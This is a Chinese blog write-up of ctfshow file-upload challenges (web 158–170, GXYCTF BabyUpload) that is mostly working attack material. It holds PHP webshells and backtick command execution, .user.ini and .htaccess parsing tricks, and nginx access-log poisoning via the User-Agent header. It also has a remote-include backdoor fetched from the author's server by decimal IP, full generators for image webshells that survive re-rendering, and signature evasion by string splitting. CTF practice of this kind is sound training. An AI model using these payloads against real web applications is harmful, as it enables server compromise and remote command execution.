ctfshow文件上传漏洞做题记录
ctfshow文件上传漏洞做题记录
前言:之前发的博客已经做了文件上传漏洞的一些做题,今天来记录一些理论的知识以及之前没做完的题
1.1 前置基础知识
检测层面:前端和后端
检测内容 : 文件头 完整性,二次渲染等
检测后缀: 黑名单 白名单 MIME检测等
1.2 ctfshow web 158
相比前几个题,这个题还多过滤了()
这时候之前的后门就没法用了,我们想要调用eval函数总是需要括号,这时
候考虑直接输出我们的flag,但是括号又不能用了,该如何解决呢? 这时候就要使用反引号了。
php中反引号会将其中的内容放在system()中执行,但需要注意的是执行的结果并不会自己输出,所以我们要手动
输出。所以我们根据此原理我们可以写出后门
<?=`tac ../f*`?>
1.3 ctfshow web 159
payload和上一题没有任何区别,应该是加了点过滤,秒了
1.4 ctfshow web 160
本题过滤掉了反斜杠,我们需要更换思路了
我们已知在nginx下会将请求的Ua头记录在默认的日志文件中,那我们将后门代码写入ua头,然后包含日志文件即
可实现后门的写入。
在ngnix下日志记录文件存储于 /var/log/nginx/access.log
因此我们有了payload的写法
<?include"/var/lo"."g/nginx/access.lo"."g"?>
将payload写入a.png,利用.user.ini包含a.png,然后a.png中的代码包含了日志文件,然后在随便上传一个图片,
或者访问一下upload,直接在ua头处直接写入
<?=`tac ../fla*`?>
然后访问upload/下即可获得flag
1.5 ctfshow web 161
本题除了上面的过滤,还设置了对文件头的过滤
文件头是位于文件开头的一段数据,操作系统通过识别文件头,可以识别文件的类型,并决定用何种程序来打开该
文件。在本题中只有gif文件的文件头能通过前端验证gif的文件头为GIF89a
其余步骤和上一题相同。
1.6 ctfshow web 162
这题有点离谱,把小数点过滤了,之前的payload也无法解决了,但是我们的.user.ini
中的包含并不一定得是具
体的文件名,也可也是文件后缀
GIF89a
auto_prepend_file=png
比如我们这么写,可以把所有的Png文件包含进去
但是我们的后门文件怎么写入呢?似乎无论如何都需要带点。
我们或许会想到远程文件包含,即
<?php
include"example.com/a.txt"
?>
但还是有小数点,这时候就考虑进行将后门写入index.php,然后将ip转数字,即将ip地址转为一串数字,直接访
问数字就可以访问代表的网站
以我的个人网站为例子,我在index.php写入了
<?php
@eval($_POST["a"]);
?>
后门程序就为:
GIF89a
<?=include"http://142749486/"?>
将其上传时发送的数据包中的文件名改为png即可实现包含。
1.7 ctfshow web 163
此题和上题差不多,但区别在于加了删除检测,上传的文件如果存在疑似后门代码就会进行删除。
我们解决方式也简单,既然上传会删除,那我们不上传包含代码就行。
GIF89a
auto_prepend_file=http://142749486/
直接上传.user.in
将远程后门文件地址写进文件名中,上传后直接包含进去,由二次包含转换为一次包含。
由此题进行一下延申,此题的文件删除是检测是否有后门代码,但还有一种题是对上传的文件进行删除,但是可以
进行上传,对于这种类型就需要进行条件竞争
条件竞争: 在文件上传之前就一直对url进行post,传入创建后门代码的php程序,然后在不断的post时将初始后
门文件上传,在刚上传的瞬间还未进行删除,我们传递的post数据已经发送,后门程序随即被生成,之后即使原
程序被删除,我们也成功写入了后门程序
1.8 ctfshow web 164
本题考查的知识点是二次渲染,什么是二次渲染?就是服务器会对你传入的图片进行处理,增加,删除等操作,会
导致写入的后门代码失效.
面对这种类型,我们怎么去渗透呢?既然二次渲染会对文件内容进行部分更改,我们把后门代码写入到文件未被修
改的部分即可,但在本题中,手工写入代码后无法正常上传,这时候就应该使用脚本去生成图片了。
<?php
$p = array(
0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33
);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y + 1];
$b = $p[$y + 2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img, './2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
我们使用该脚本生成的包含后门的png文件再进行上传
但是上传的是png格式的后门代码,并不会被服务器解析,我们应该如何去利用呢?观察上传后的这个url
http://c04f3366-21ce-4d57-8d24-7c2c1fad1f69.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png
发现他并不是直接访问而是利用传参传入文件名,这存在一个图片文件包含点,我们观察一下我们写的图片马,
payload就有了思路:
http://c04f3366-21ce-4d57-8d24-7c2c1fad1f69.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system
然后post发送 1=tac flag.php
抓包,即可在响应中看见flag
1.9 ctfshow web 165
这题考察的也是二次渲染,这里总结一下二次渲染的判断方式
1: 通过文件上传前后的内容变换来判断
2 : 通过body中是否存在关键信息判断,比如本题中如果抓包,就能看见Body中存在gd-jpeg v1的字符,这是
php中的库,专门用来对图片进行二次渲染
本题是只能上传jpg,对jpg进行二次渲染
跟上一题一样同样存在图片文件包含点,我们任然通过脚本生成图片马,新的脚本如下:
<?php
$miniPayload = "<?=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
我们手动写入一句话木马由于不知道正确写入的位置,很难找到可以写入的点,所以我们要使用脚本去写入。
该脚本不像上一个脚本,直接运行就可以生成对应的文件马,本脚本是在原有可上传jpg文件的基础上加入一句话
木马,并对图片进行修改,使用方式也有所不同。
php.exe 脚本路径 原图片路径
第一行是我们利用的函数,上传成功后访问图片地址,post发送
1=system("tac flag.php");
即可获得flag
2.0 ctfshow web 166
这题和前几题没有什么区别,只不过上传的文件由jpg,php变成zip罢了,而且不是图像则不存在二次渲染,直接
写入后门代码,利用文件包含点进行命令执行即可。
我们先随便上传一个.zip文件,抓包将文件内容改成一句话木马,比如
<?=eval($_POST["a"]);?>
上传成功后点击下载文件,抓包获得下载地址
然后直接post数据 :system("tac ../flag.php");
抓包查看即可在数据包中看到flag.
先通过ls查看到了flag地址,再tac输出的。
2.1 ctfshow web 167
此题的hint上写了httpd,这是apache软件包的名字,和本题我们要用到的htaccess有一定的关系,htaccess是分
布式配置文件,影响着文件的解析判断
.htaccess文件的主要功能包括实现网页301重定向、自定义404错误页面、改变文件扩展名、允许或阻止特定的用
户或目录的访问、禁止目录列表、配置默认文档等。它也可以用来实现URL重写,使URL更加友好,有利于搜索引
擎优化。
想要使用.htaccess的功能,首先要去httpd.conf下进行开启,这就是本题hint的来源,一般来说.htaccess只能作
用于appache 但通过设置我们就可以再ngaix下使用.htaccess。对于本题来说,我们用它干什么呢?我们利
用.htaccess将png当作php来进行解析
本题的环境已经设置好了,使得ngaix支持.htaccess
我们正式开始做这道题
先上传个图片马,和之前一样,由于是注意要是.jpg
里面就写<?=eval($_POST["a"]);?>
再上传一张图片,抓包将文件名改成.htaccess
将内容改成 AddType application/x-httpd-php .jpg
即将 jpg解析为php
都解析为php,直接当后门传参即可获得flag
2.2 ctfshow web 168
本题的考点是后门免杀
本题中直接可以上传Php文件,但是会对内容进行过滤
我们如何解决呢?答案是利用php特性将payload进行分割拼接,这样写入payload上传即可,这种绕过方法还是很
值得学习一下的
payload:
<?php $a="syste"."m"; $a("tac ../flagaa.php");?>
这关的flag文件为flagaa.php
2.3 ctfshow web 169 170
本题和之前的日志包含的题思路差不多,区别就是没有index.php,一开始上传目录没有php文件,.user.ini
无
法包含进php文件中,解决方式就是先上传index.php 再上传.user.ini
进行日志包含即可(远程文件包含也可
以),index.php由于存在过滤,所以不能直接将内容传到index.php中
注意,170前端的格式验证为zip ,后端对content type要求为image/png 过滤把<>给过滤掉了,所以直接
在.user.ini中这样写
auto_prepend_file=/var/log/nginx/access.log
然后再和之前一样,访问upload下的index.php,在ua头里写入一句话木马即可获取flag.
[GXYCTF2019]BabyUpload
基础的文件上传漏洞,通过尝试发现对content-type进行了限制,只能为image/jpeg形式,
而且对后缀为php的文件做了黑名单检测,对<?
进行了过滤,上传目录上没有php文件,这
就挡住了我们很多写入后门方法,但是.htaccess可以正常使用,我们便以此为思路,尝试写
入后门,首先我们需要解决的是<?
的过滤,既然把它给过滤了,我们这使用一种新的绕过方
式,即js绕过,具体的一句话木马如下:
<script language="php">eval($_POST['a']);</script>
.htaccess和之前相同
AddType application/x-httpd-php .jpg
通过蚁剑连接服务器,拿下flag.